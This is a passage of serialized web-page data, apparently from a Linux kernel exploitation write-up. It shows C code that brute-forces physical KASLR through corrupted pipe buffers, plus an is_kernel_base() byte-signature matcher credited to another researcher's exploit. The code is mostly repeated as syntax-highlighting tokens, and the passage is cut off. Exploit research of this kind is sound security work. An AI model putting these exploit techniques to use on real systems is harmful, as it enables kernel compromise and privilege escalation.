uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[59479],{"type":25,"tag":115,"props":59480,"children":59481},{"__ignoreMap":7},[59482,59489,59497,59505,59529,59562,59582,59622,59629,59673,59707,59734,59770,59777,59823,59830,59860,59873,59938,59945,59957,59965,59972,59979,60005,60012,60032,60044,60051,60058,60065],{"type":25,"tag":201,"props":59483,"children":59484},{"class":203,"line":204},[59485],{"type":25,"tag":201,"props":59486,"children":59487},{"style":220},[59488],{"type":31,"value":11821},{"type":25,"tag":201,"props":59490,"children":59491},{"class":203,"line":226},[59492],{"type":25,"tag":201,"props":59493,"children":59494},{"style":220},[59495],{"type":31,"value":59496},"// Bruteforce phys-KASLR\n",{"type":25,"tag":201,"props":59498,"children":59499},{"class":203,"line":278},[59500],{"type":25,"tag":201,"props":59501,"children":59502},{"style":220},[59503],{"type":31,"value":59504},"    uint64_t kernel_base;\n",{"type":25,"tag":201,"props":59506,"children":59507},{"class":203,"line":311},[59508,59512,59517,59521,59525],{"type":25,"tag":201,"props":59509,"children":59510},{"style":208},[59511],{"type":31,"value":47549},{"type":25,"tag":201,"props":59513,"children":59514},{"style":220},[59515],{"type":31,"value":59516}," found ",{"type":25,"tag":201,"props":59518,"children":59519},{"style":261},[59520],{"type":31,"value":1383},{"type":25,"tag":201,"props":59522,"children":59523},{"style":208},[59524],{"type":31,"value":542},{"type":25,"tag":201,"props":59526,"children":59527},{"style":220},[59528],{"type":31,"value":461},{"type":25,"tag":201,"props":59530,"children":59531},{"class":203,"line":330},[59532,59537,59541,59546,59550,59554,59558],{"type":25,"tag":201,"props":59533,"children":59534},{"style":208},[59535],{"type":31,"value":59536},"    uint8_t",{"type":25,"tag":201,"props":59538,"children":59539},{"style":246},[59540],{"type":31,"value":16603},{"type":25,"tag":201,"props":59542,"children":59543},{"style":220},[59544],{"type":31,"value":59545},"[PAGE_SIZE] ",{"type":25,"tag":201,"props":59547,"children":59548},{"style":261},[59549],{"type":31,"value":1383},{"type":25,"tag":201,"props":59551,"children":59552},{"style":220},[59553],{"type":31,"value":46293},{"type":25,"tag":201,"props":59555,"children":59556},{"style":426},[59557],{"type":31,"value":429},{"type":25,"tag":201,"props":59559,"children":59560},{"style":220},[59561],{"type":31,"value":18073},{"type":25,"tag":201,"props":59563,"children":59564},{"class":203,"line":397},[59565,59569,59573,59578],{"type":25,"tag":201,"props":59566,"children":59567},{"style":214},[59568],{"type":31,"value":56585},{"type":25,"tag":201,"props":59570,"children":59571},{"style":220},[59572],{"type":31,"value":298},{"type":25,"tag":201,"props":59574,"children":59575},{"style":267},[59576],{"type":31,"value":59577},"\"[*] bruteforce phys-KASLR\"",{"type":25,"tag":201,"props":59579,"children":59580},{"style":220},[59581],{"type":31,"value":308},{"type":25,"tag":201,"props":59583,"children":59584},{"class":203,"line":437},[59585,59589,59593,59597,59601,59605,59609,59614,59618],{"type":25,"tag":201,"props":59586,"children":59587},{"style":230},[59588],{"type":31,"value":4539},{"type":25,"tag":201,"props":59590,"children":59591},{"style":220},[59592],{"type":31,"value":238},{"type":25,"tag":201,"props":59594,"children":59595},{"style":208},[59596],{"type":31,"value":56713},{"type":25,"tag":201,"props":59598,"children":59599},{"style":220},[59600],{"type":31,"value":55622},{"type":25,"tag":201,"props":59602,"children":59603},{"style":261},[59604],{"type":31,"value":1383},{"type":25,"tag":201,"props":59606,"children":59607},{"style":426},[59608],{"type":31,"value":4554},{"type":25,"tag":201,"props":59610,"children":59611},{"style":220},[59612],{"type":31,"value":59613},";; i",{"type":25,"tag":201,"props":59615,"children":59616},{"style":261},[59617],{"type":31,"value":52347},{"type":25,"tag":201,"props":59619,"children":59620},{"style":220},[59621],{"type":31,"value":4666},{"type":25,"tag":201,"props":59623,"children":59624},{"class":203,"line":464},[59625],{"type":25,"tag":201,"props":59626,"children":59627},{"style":220},[59628],{"type":31,"value":30670},{"type":25,"tag":201,"props":59630,"children":59631},{"class":203,"line":490},[59632,59637,59641,59646,59650,59655,59659,59664,59668],{"type":25,"tag":201,"props":59633,"children":59634},{"style":220},[59635],{"type":31,"value":59636},"        kernel_base ",{"type":25,"tag":201,"props":59638,"children":59639},{"style":261},[59640],{"type":31,"value":1383},{"type":25,"tag":201,"props":59642,"children":59643},{"style":426},[59644],{"type":31,"value":59645}," 0x40",{"type":25,"tag":201,"props":59647,"children":59648},{"style":261},[59649],{"type":31,"value":11319},{"type":25,"tag":201,"props":59651,"children":59652},{"style":220},[59653],{"type":31,"value":59654}," ((PHYSICAL_ALIGN ",{"type":25,"tag":201,"props":59656,"children":59657},{"style":261},[59658],{"type":31,"value":6077},{"type":25,"tag":201,"props":59660,"children":59661},{"style":220},[59662],{"type":31,"value":59663}," i) ",{"type":25,"tag":201,"props":59665,"children":59666},{"style":261},[59667],{"type":31,"value":14263},{"type":25,"tag":201,"props":59669,"children":59670},{"style":220},[59671],{"type":31,"value":59672}," PAGE_SHIFT);\n",{"type":25,"tag":201,"props":59674,"children":59675},{"class":203,"line":499},[59676,59681,59685,59689,59693,59698,59702],{"type":25,"tag":201,"props":59677,"children":59678},{"style":246},[59679],{"type":31,"value":59680},"        pipebuf",{"type":25,"tag":201,"props":59682,"children":59683},{"style":220},[59684],{"type":31,"value":15259},{"type":25,"tag":201,"props":59686,"children":59687},{"style":246},[59688],{"type":31,"value":59403},{"type":25,"tag":201,"props":59690,"children":59691},{"style":261},[59692],{"type":31,"value":413},{"type":25,"tag":201,"props":59694,"children":59695},{"style":220},[59696],{"type":31,"value":59697}," vmemmap_base ",{"type":25,"tag":201,"props":59699,"children":59700},{"style":261},[59701],{"type":31,"value":5886},{"type":25,"tag":201,"props":59703,"children":59704},{"style":220},[59705],{"type":31,"value":59706}," kernel_base;\n",{"type":25,"tag":201,"props":59708,"children":59709},{"class":203,"line":522},[59710,59714,59718,59722,59726,59730],{"type":25,"tag":201,"props":59711,"children":59712},{"style":246},[59713],{"type":31,"value":59680},{"type":25,"tag":201,"props":59715,"children":59716},{"style":220},[59717],{"type":31,"value":15259},{"type":25,"tag":201,"props":59719,"children":59720},{"style":246},[59721],{"type":31,"value":15403},{"type":25,"tag":201,"props":59723,"children":59724},{"style":261},[59725],{"type":31,"value":413},{"type":25,"tag":201,"props":59727,"children":59728},{"style":426},[59729],{"type":31,"value":4554},{"type":25,"tag":201,"props":59731,"children":59732},{"style":220},[59733],{"type":31,"value":461},{"type":25,"tag":201,"props":59735,"children":59736},{"class":203,"line":531},[59737,59741,59745,59749,59753,59758,59762,59766],{"type":25,"tag":201,"props":59738,"children":59739},{"style":246},[59740],{"type":31,"value":59680},{"type":25,"tag":201,"props":59742,"children":59743},{"style":220},[59744],{"type":31,"value":15259},{"type":25,"tag":201,"props":59746,"children":59747},{"style":246},[59748],{"type":31,"value":10643},{"type":25,"tag":201,"props":59750,"children":59751},{"style":261},[59752],{"type":31,"value":413},{"type":25,"tag":201,"props":59754,"children":59755},{"style":220},[59756],{"type":31,"value":59757}," PAGE_SIZE ",{"type":25,"tag":201,"props":59759,"children":59760},{"style":261},[59761],{"type":31,"value":5886},{"type":25,"tag":201,"props":59763,"children":59764},{"style":426},[59765],{"type":31,"value":6029},{"type":25,"tag":201,"props":59767,"children":59768},{"style":220},[59769],{"type":31,"value":461},{"type":25,"tag":201,"props":59771,"children":59772},{"class":203,"line":550},[59773],{"type":25,"tag":201,"props":59774,"children":59775},{"style":220},[59776],{"type":31,"value":11821},{"type":25,"tag":201,"props":59778,"children":59779},{"class":203,"line":563},[59780,59785,59789,59793,59797,59801,59806,59810,59815,59819],{"type":25,"tag":201,"props":59781,"children":59782},{"style":220},[59783],{"type":31,"value":59784},"        for (",{"type":25,"tag":201,"props":59786,"children":59787},{"style":208},[59788],{"type":31,"value":20546},{"type":25,"tag":201,"props":59790,"children":59791},{"style":246},[59792],{"type":31,"value":10131},{"type":25,"tag":201,"props":59794,"children":59795},{"style":261},[59796],{"type":31,"value":413},{"type":25,"tag":201,"props":59798,"children":59799},{"style":426},[59800],{"type":31,"value":4554},{"type":25,"tag":201,"props":59802,"children":59803},{"style":220},[59804],{"type":31,"value":59805},"; j ",{"type":25,"tag":201,"props":59807,"children":59808},{"style":261},[59809],{"type":31,"value":1298},{"type":25,"tag":201,"props":59811,"children":59812},{"style":220},[59813],{"type":31,"value":59814}," PIPE_SPRAY; j",{"type":25,"tag":201,"props":59816,"children":59817},{"style":261},[59818],{"type":31,"value":52347},{"type":25,"tag":201,"props":59820,"children":59821},{"style":220},[59822],{"type":31,"value":4666},{"type":25,"tag":201,"props":59824,"children":59825},{"class":203,"line":572},[59826],{"type":25,"tag":201,"props":59827,"children":59828},{"style":220},[59829],{"type":31,"value":528},{"type":25,"tag":201,"props":59831,"children":59832},{"class":203,"line":590},[59833,59838,59842,59846,59851,59855],{"type":25,"tag":201,"props":59834,"children":59835},{"style":214},[59836],{"type":31,"value":59837},"            memset",{"type":25,"tag":201,"props":59839,"children":59840},{"style":220},[59841],{"type":31,"value":298},{"type":25,"tag":201,"props":59843,"children":59844},{"style":261},[59845],{"type":31,"value":4615},{"type":25,"tag":201,"props":59847,"children":59848},{"style":220},[59849],{"type":31,"value":59850},"data, ",{"type":25,"tag":201,"props":59852,"children":59853},{"style":426},[59854],{"type":31,"value":429},{"type":25,"tag":201,"props":59856,"children":59857},{"style":220},[59858],{"type":31,"value":59859},", PAGE_SIZE);\n",{"type":25,"tag":201,"props":59861,"children":59862},{"class":203,"line":608},[59863,59868],{"type":25,"tag":201,"props":59864,"children":59865},{"style":208},[59866],{"type":31,"value":59867},"            int",{"type":25,"tag":201,"props":59869,"children":59870},{"style":220},[59871],{"type":31,"value":59872}," count;\n",{"type":25,"tag":201,"props":59874,"children":59875},{"class":203,"line":617},[59876,59881,59886,59890,59895,59899,59904,59909,59913,59917,59921,59926,59930,59934],{"type":25,"tag":201,"props":59877,"children":59878},{"style":230},[59879],{"type":31,"value":59880},"            if",{"type":25,"tag":201,"props":59882,"children":59883},{"style":220},[59884],{"type":31,"value":59885}," (count ",{"type":25,"tag":201,"props":59887,"children":59888},{"style":261},[59889],{"type":31,"value":1383},{"type":25,"tag":201,"props":59891,"children":59892},{"style":214},[59893],{"type":31,"value":59894}," read",{"type":25,"tag":201,"props":59896,"children":59897},{"style":220},[59898],{"type":31,"value":298},{"type":25,"tag":201,"props":59900,"children":59901},{"style":246},[59902],{"type":31,"value":59903},"pfd",{"type":25,"tag":201,"props":59905,"children":59906},{"style":220},[59907],{"type":31,"value":59908},"[j][",{"type":25,"tag":201,"props":59910,"children":59911},{"style":426},[59912],{"type":31,"value":429},{"type":25,"tag":201,"props":59914,"children":59915},{"style":220},[59916],{"type":31,"value":1930},{"type":25,"tag":201,"props":59918,"children":59919},{"style":261},[59920],{"type":31,"value":4615},{"type":25,"tag":201,"props":59922,"children":59923},{"style":220},[59924],{"type":31,"value":59925},"data, PAGE_SIZE) ",{"type":25,"tag":201,"props":59927,"children":59928},{"style":261},[59929],{"type":31,"value":1298},{"type":25,"tag":201,"props":59931,"children":59932},{"style":426},[59933],{"type":31,"value":4554},{"type":25,"tag":201,"props":59935,"children":59936},{"style":220},[59937],{"type":31,"value":4666},{"type":25,"tag":201,"props":59939,"children":59940},{"class":203,"line":625},[59941],{"type":25,"tag":201,"props":59942,"children":59943},{"style":220},[59944],{"type":31,"value":569},{"type":25,"tag":201,"props":59946,"children":59947},{"class":203,"line":642},[59948,59953],{"type":25,"tag":201,"props":59949,"children":59950},{"style":230},[59951],{"type":31,"value":59952},"                continue",{"type":25,"tag":201,"props":59954,"children":59955},{"style":220},[59956],{"type":31,"value":461},{"type":25,"tag":201,"props":59958,"children":59959},{"class":203,"line":659},[59960],{"type":25,"tag":201,"props":59961,"children":59962},{"style":220},[59963],{"type":31,"value":59964},"            }\n",{"type":25,"tag":201,"props":59966,"children":59967},{"class":203,"line":667},[59968],{"type":25,"tag":201,"props":59969,"children":59970},{"style":220},[59971],{"type":31,"value":11821},{"type":25,"tag":201,"props":59973,"children":59974},{"class":203,"line":676},[59975],{"type":25,"tag":201,"props":59976,"children":59977},{"emptyLinePlaceholder":17},[59978],{"type":31,"value":496},{"type":25,"tag":201,"props":59980,"children":59981},{"class":203,"line":694},[59982,59987,59992,59996,60000],{"type":25,"tag":201,"props":59983,"children":59984},{"style":220},[59985],{"type":31,"value":59986},"            if (",{"type":25,"tag":201,"props":59988,"children":59989},{"style":4925},[59990],{"type":31,"value":59991},"is_kernel_base",{"type":25,"tag":201,"props":59993,"children":59994},{"style":220},[59995],{"type":31,"value":298},{"type":25,"tag":201,"props":59997,"children":59998},{"style":4925},[59999],{"type":31,"value":5206},{"type":25,"tag":201,"props":60001,"children":60002},{"style":220},[60003],{"type":31,"value":60004},")) // [1] identify kernel base\n",{"type":25,"tag":201,"props":60006,"children":60007},{"class":203,"line":707},[60008],{"type":25,"tag":201,"props":60009,"children":60010},{"style":220},[60011],{"type":31,"value":569},{"type":25,"tag":201,"props":60013,"children":60014},{"class":203,"line":715},[60015,60020,60024,60028],{"type":25,"tag":201,"props":60016,"children":60017},{"style":220},[60018],{"type":31,"value":60019},"                found ",{"type":25,"tag":201,"props":60021,"children":60022},{"style":261},[60023],{"type":31,"value":1383},{"type":25,"tag":201,"props":60025,"children":60026},{"style":208},[60027],{"type":31,"value":13971},{"type":25,"tag":201,"props":60029,"children":60030},{"style":220},[60031],{"type":31,"value":461},{"type":25,"tag":201,"props":60033,"children":60034},{"class":203,"line":732},[60035,60040],{"type":25,"tag":201,"props":60036,"children":60037},{"style":230},[60038],{"type":31,"value":60039},"                break",{"type":25,"tag":201,"props":60041,"children":60042},{"style":220},[60043],{"type":31,"value":461},{"type":25,"tag":201,"props":60045,"children":60046},{"class":203,"line":749},[60047],{"type":25,"tag":201,"props":60048,"children":60049},{"style":220},[60050],{"type":31,"value":59964},{"type":25,"tag":201,"props":60052,"children":60053},{"class":203,"line":757},[60054],{"type":25,"tag":201,"props":60055,"children":60056},{"style":220},[60057],{"type":31,"value":4853},{"type":25,"tag":201,"props":60059,"children":60060},{"class":203,"line":765},[60061],{"type":25,"tag":201,"props":60062,"children":60063},{"emptyLinePlaceholder":17},[60064],{"type":31,"value":496},{"type":25,"tag":201,"props":60066,"children":60067},{"class":203,"line":783},[60068],{"type":25,"tag":201,"props":60069,"children":60070},{"style":220},[60071],{"type":31,"value":11821},{"type":25,"tag":34,"props":60073,"children":60074},{},[60075,60077,60081,60083,60089,60091,60095],{"type":31,"value":60076},"Notice that at ",{"type":25,"tag":201,"props":60078,"children":60079},{},[60080],{"type":31,"value":5516},{"type":31,"value":60082}," we call the ",{"type":25,"tag":115,"props":60084,"children":60086},{"className":60085},[],[60087],{"type":31,"value":60088},"is_kernel_base()",{"type":31,"value":60090}," function. This is a function based on lau's exploit ",{"type":25,"tag":201,"props":60092,"children":60093},{},[60094],{"type":31,"value":19606},{"type":31,"value":60096}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":25,"tag":191,"props":60098,"children":60100},{"className":30593,"code":60099,"language":30595,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[60101],{"type":25,"tag":115,"props":60102,"children":60103},{"__ignoreMap":7},[60104,60111,60141,60148,60156,60163,60171,60242,60304,60319,60326,60334,60402,60464,60525,60586,60648,60710,60771,60832,60893,60954,61015,61030,61037,61052,61059],{"type":25,"tag":201,"props":60105,"children":60106},{"class":203,"line":204},[60107],{"type":25,"tag":201,"props":60108,"children":60109},{"style":220},[60110],{"type":31,"value":11821},{"type":25,"tag":201,"props":60112,"children":60113},{"class":203,"line":226},[60114,60119,60124,60129,60133,60137],{"type":25,"tag":201,"props":60115,"children":60116},{"style":220},[60117],{"type":31,"value":60118},"static bool is_kernel_base(",{"type":25,"tag":201,"props":60120,"children":60121},{"style":208},[60122],{"type":31,"value":60123},"unsigned",{"type":25,"tag":201,"props":60125,"children":60126},{"style":208},[60127],{"type":31,"value":60128}," char",{"type":25,"tag":201,"props":60130,"children":60131},{"style":208},[60132],{"type":31,"value":11319},{"type":25,"tag":201,"props":60134,"children":60135},{"style":246},[60136],{"type":31,"value":32171},{"type":25,"tag":201,"props":60138,"children":60139},{"style":220},[60140],{"type":31,"value":4666},{"type":25,"tag":201,"props":60142,"children":60143},{"class":203,"line":278},[60144],{"type":25,"tag":201,"props":60145,"children":60146},{"style":220},[60147],{"type":31,"value":1822},{"type":25,"tag":201,"props":60149,"children":60150},{"class":203,"line":311},[60151],{"type":25,"tag":201,"props":60152,"children":60153},{"style":4497},[60154],{"type":31,"value":60155},"    // thanks lau :)\n",{"type":25,"tag":201,"props":60157,"children":60158},{"class":203,"line":330},[60159],{"type":25,"tag":201,"props":60160,"children":60161},{"emptyLinePlaceholder":17},[60162],{"type":31,"value":496},{"type":25,"tag":201,"props":60164,"children":60165},{"class":203,"line":397},[60166],{"type":25,"tag":201,"props":60167,"children":60168},{"style":4497},[60169],{"type":31,"value":60170},"    // get-sig kernel_runtime_1\n",{"type":25,"tag":201,"props":60172,"children":60173},{"class":203,"line":437},[60174,60178,60182,60187,60192,60196,60201,60205,60209,60214,60218,60222,60226,60230,60234,60238],{"type":25,"tag":201,"props":60175,"children":60176},{"style":230},[60177],{"type":31,"value":13781},{"type":25,"tag":201,"props":60179,"children":60180},{"style":220},[60181],{"type":31,"value":238},{"type":25,"tag":201,"props":60183,"children":60184},{"style":214},[60185],{"type":31,"value":60186},"memcmp",{"type":25,"tag":201,"props":60188,"children":60189},{"style":220},[60190],{"type":31,"value":60191},"(addr ",{"type":25,"tag":201,"props":60193,"children":60194},{"style":261},[60195],{"type":31,"value":5886},{"type":25,"tag":201,"props":60197,"children":60198},{"style":426},[60199],{"type":31,"value":60200}," 0x0",{"type":25,"tag":201,"props":60202,"children":60203},{"style":220},[60204],{"type":31,"value":919},{"type":25,"tag":201,"props":60206,"children":60207},{"style":267},[60208],{"type":31,"value":1557},{"type":25,"tag":201,"props":60210,"children":60211},{"style":49450},[60212],{"type":31,"value":60213},"\\x48\\x8d\\x25\\x51\\x3f",{"type":25,"tag":201,"props":60215,"children":60216},{"style":267},[60217],{"type":31,"value":1557},{"type":25,"tag":201,"props":60219,"children":60220},{"style":220},[60221],{"type":31,"value":919},{"type":25,"tag":201,"props":60223,"children":60224},{"style":426},[60225],{"type":31,"value":19606},{"type":25,"tag":201,"props":60227,"children":60228},{"style":220},[60229],{"type":31,"value":385},{"type":25,"tag":201,"props":60231,"children":60232},{"style":261},[60233],{"type":31,"value":10083},{"type":25,"tag":201,"props":60235,"children":60236},{"style":426},[60237],{"type":31,"value":4554},{"type":25,"tag":201,"props":60239,"children":60240},{"style":261},[60241],{"type":31,"value":53762},{"type":25,"tag":201,"props":60243,"children":60244},{"class":203,"line":464},[60245,60250,60254,60258,60263,60267,60271,60276,60280,60284,60288,60292,60296,60300],{"type":25,"tag":201,"props":60246,"children":60247},{"style":214},[60248],{"type":31,"value":60249},"        memcmp",{"type":25,"tag":201,"props":60251,"children":60252},{"style":220},[60253],{"type":31,"value":60191},{"type":25,"tag":201,"props":60255,"children":60256},{"style":261},[60257],{"type":31,"value":5886},{"type":25,"tag":201,"props":60259,"children":60260},{"style":426},[60261],{"type":31,"value":60262}," 0x7",{"type":25,"tag":201,"props":60264,"children":60265},{"style":220},[60266],{"type":31,"value":919},{"type":25,"tag":201,"props":60268,"children":60269},{"style":267},[60270],{"type":31,"value":1557},{"type":25,"tag":201,"props":60272,"children":60273},{"style":49450},[60274],{"type":31,"value":60275},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":25,"tag":201,"props":60277,"children":60278},{"style":267},[60279],{"type":31,"value":1557},{"type":25,"tag":201,"props":60281,"children":60282},{"style":220},[60283],{"type":31,"value":919},{"type":25,"tag":201,"props":60285,"children":60286},{"style":426},[60287],{"type":31,"value":55749},{"type":25,"tag":201,"props":60289,"children":60290},{"style":220},[60291],{"type":31,"value":385},{"type":25,"tag":201,"props":60293,"children":60294},{"style":261},[60295],{"type":31,"value":10083},{"type":25,"tag":201,"props":60297,"children":60298},{"style":426},[60299],{"type":31,"value":4554},{"type":25,"tag":201,"props":60301,"children":60302},{"style":220},[60303],{"type":31,"value":4666},{"type":25,"tag":201,"props":60305,"children":60306},{"class":203,"line":490},[60307,60311,60315],{"type":25,"tag":201,"props":60308,"children":60309},{"style":230},[60310],{"type":31,"value":17239},{"type":25,"tag":201,"props":60312,"children":60313},{"style":208},[60314],{"type":31,"value":13971},{"type":25,"tag":201,"props":60316,"children":60317},{"style":220},[60318],{"type":31,"value":461},{"type":25,"tag":201,"props":60320,"children":60321},{"class":203,"line":499},[60322],{"type":25,"tag":201,"props":60323,"children":60324},{"emptyLinePlaceholder":17},[60325],{"type":31,"value":496},{"type":25,"tag":201,"props":60327,"children":60328},{"class":203,"line":522},[60329],{"type":25,"tag":201,"props":60330,"children":60331},{"style":4497},[60332],{"type":31,"value":60333},"    // get-sig kernel_runtime_2\n",{"type":25,"tag":201,"props":60335,"children":60336},{"class":203,"line":531},[60337,60341,60345,60349,60353,60357,60361,60365,60369,60374,60378,60382,60386,60390,60394,60398],{"type":25,"tag":201,"props":60338,"children":60339},{"style":230},[60340],{"type":31,"value":13781},{"type":25,"tag":201,"props":60342,"children":60343},{"style":220},[60344],{"type":31,"value":238},{"type":25,"tag":201,"props":60346,"children":60347},{"style":214},[60348],{"type":31,"value":60186},{"type":25,"tag":201,"props":60350,"children":60351},{"style":220},[60352],{"type":31,"value":60191},{"type":25,"tag":201,"props":60354,"children":60355},{"style":261},[60356],{"type":31,"value":5886},{"type":25,"tag":201,"props":60358,"children":60359},{"style":426},[60360],{"type":31,"value":60200},{"type":25,"tag":201,"props":60362,"children":60363},{"style":220},[60364],{"type":31,"value":919},{"type":25,"tag":201,"props":60366,"children":60367},{"style":267},[60368],{"type":31,"value":1557},{"type":25,"tag":201,"props":60370,"children":60371},{"style":49450},[60372],{"type":31,"value":60373},"\\xfc\\x0f\\x01\\x15",{"type":25,"tag":201,"props":60375,"children":60376},{"style":267},[60377],{"type":31,"value":1557},{"type":25,"tag":201,"props":60379,"children":60380},{"style":220},[60381],{"type":31,"value":919},{"type":25,"tag":201,"props":60383,"children":60384},{"style":426},[60385],{"type":31,"value":19025},{"type":25,"tag":201,"props":60387,"children":60388},{"style":220},[60389],{"type":31,"value":385},{"type":25,"tag":201,"props":60391,"children":60392},{"style":261},[60393],{"type":31,"value":10083},{"type":25,"tag":201,"props":60395,"children":60396},{"style":426},[60397],{"type":31,"value":4554},{"type":25,"tag":201,"props":60399,"children":60400},{"style":261},[60401],{"type":31,"value":53762},{"type":25,"tag":201,"props":60403,"children":60404},{"class":203,"line":550},[60405,60409,60413,60417,60422,60426,60430,60435,60439,60443,60448,60452,60456,60460],{"type":25,"tag":201,"props":60406,"children":60407},{"style":214},[60408],{"type":31,"value":60249},{"type":25,"tag":201,"props":60410,"children":60411},{"style":220},[60412],{"type":31,"value":60191},{"type":25,"tag":201,"props":60414,"children":60415},{"style":261},[60416],{"type":31,"value":5886},{"type":25,"tag":201,"props":60418,"children":60419},{"style":426},[60420],{"type":31,"value":60421}," 0x8",{"type":25,"tag":201,"props":60423,"children":60424},{"style":220},[60425],{"type":31,"value":919},{"type":25,"tag":201,"props":60427,"children":60428},{"style":267},[60429],{"type":31,"value":1557},{"type":25,"tag":201,"props":60431,"children":60432},{"style":49450},[60433],{"type":31,"value":60434},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":25,"tag":201,"props":60436,"children":60437},{"style":267},[60438],{"type":31,"value":1557},{"type":25,"tag":201,"props":60440,"children":60441},{"style":220},[60442],{"type":31,"value":919},{"type":25,"tag":201,"props":60444,"children":60445},{"style":426},[60446],{"type":31,"value":60447},"12",{"type":25,"tag":201,"props":60449,"children":60450},{"style":220},[60451],{"type":31,"value":385},{"type":25,"tag":201,"props":60453,"children":60454},{"style":261},[60455],{"type":31,"value":10083},{"type":25,"tag":201,"props":60457,"children":60458},{"style":426},[60459],{"type":31,"value":4554},{"type":25,"tag":201,"props":60461,"children":60462},{"style":261},[60463],{"type":31,"value":53762},{"type":25,"tag":201,"props":60465,"children":60466},{"class":203,"line":563},[60467,60471,60475,60479,60484,60488,60492,60497,60501,60505,60509,60513,60517,60521],{"type":25,"tag":201,"props":60468,"children":60469},{"style":214},[60470],{"type":31,"value":60249},{"type":25,"tag":201,"props":60472,"children":60473},{"style":220},[60474],{"type":31,"value":60191},{"type":25,"tag":201,"props":60476,"children":60477},{"style":261},[60478],{"type":31,"value":5886},{"type":25,"tag":201,"props":60480,"children":60481},{"style":426},[60482],{"type":31,"value":60483}," 0x18",{"type":25,"tag":201,"props":60485,"children":60486},{"style":220},[60487],{"type":31,"value":919},{"type":25,"tag":201,"props":60489,"children":60490},{"style":267},[60491],{"type":31,"value":1557},{"type":25,"tag":201,"props":60493,"children":60494},{"style":49450},[60495],{"type":31,"value":60496},"\\x89\\xde\\x8b\\x0d",{"type":25,"tag":201,"props":60498,"children":60499},{"style":267},[60500],{"type":31,"value":1557},{"type":25,"tag":201,"props":60502,"children":60503},{"style":220},[60504],{"type":31,"value":919},{"type":25,"tag":201,"props":60506,"children":60507},{"style":426},[60508],{"type":31,"value":19025},{"type":25,"tag":201,"props":60510,"children":60511},{"style":220},[60512],{"type":31,"value":385},{"type":25,"tag":201,"props":60514,"children":60515},{"style":261},[60516],{"type":31,"value":10083},{"type":25,"tag":201,"props":60518,"children":60519},{"style":426},[60520],{"type":31,"value":4554},{"type":25,"tag":201,"props":60522,"children":60523},{"style":261},[60524],{"type":31,"value":53762},{"type":25,"tag":201,"props":60526,"children":60527},{"class":203,"line":572},[60528,60532,60536,60540,60545,60549,60553,60558,60562,60566,60570,60574,60578,60582],{"type":25,"tag":201,"props":60529,"children":60530},{"style":214},[60531],{"type":31,"value":60249},{"type":25,"tag":201,"props":60533,"children":60534},{"style":220},[60535],{"type":31,"value":60191},{"type":25,"tag":201,"props":60537,"children":60538},{"style":261},[60539],{"type":31,"value":5886},{"type":25,"tag":201,"props":60541,"children":60542},{"style":426},[60543],{"type":31,"value":60544}," 0x20",{"type":25,"tag":201,"props":60546,"children":60547},{"style":220},[60548],{"type":31,"value":919},{"type":25,"tag":201,"props":60550,"children":60551},{"style":267},[60552],{"type":31,"value":1557},{"type":25,"tag":201,"props":60554,"children":60555},{"style":49450},[60556],{"type":31,"value":60557},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":25,"tag":201,"props":60559,"children":60560},{"style":267},[60561],{"type":31,"value":1557},{"type":25,"tag":201,"props":60563,"children":60564},{"style":220},[60565],{"type":31,"value":919},{"type":25,"tag":201,"props":60567,"children":60568},{"style":426},[60569],{"type":31,"value":19918},{"type":25,"tag":201,"props":60571,"children":60572},{"style":220},[60573],{"type":31,"value":385},{"type":25,"tag":201,"props":60575,"children":60576},{"style":261},[60577],{"type":31,"value":10083},{"type":25,"tag":201,"props":60579,"children":60580},{"style":426},[60581],{"type":31,"value":4554},{"type":25,"tag":201,"props":60583,"children":60584},{"style":261},[60585],{"type":31,"value":53762},{"type":25,"tag":201,"props":60587,"children":60588},{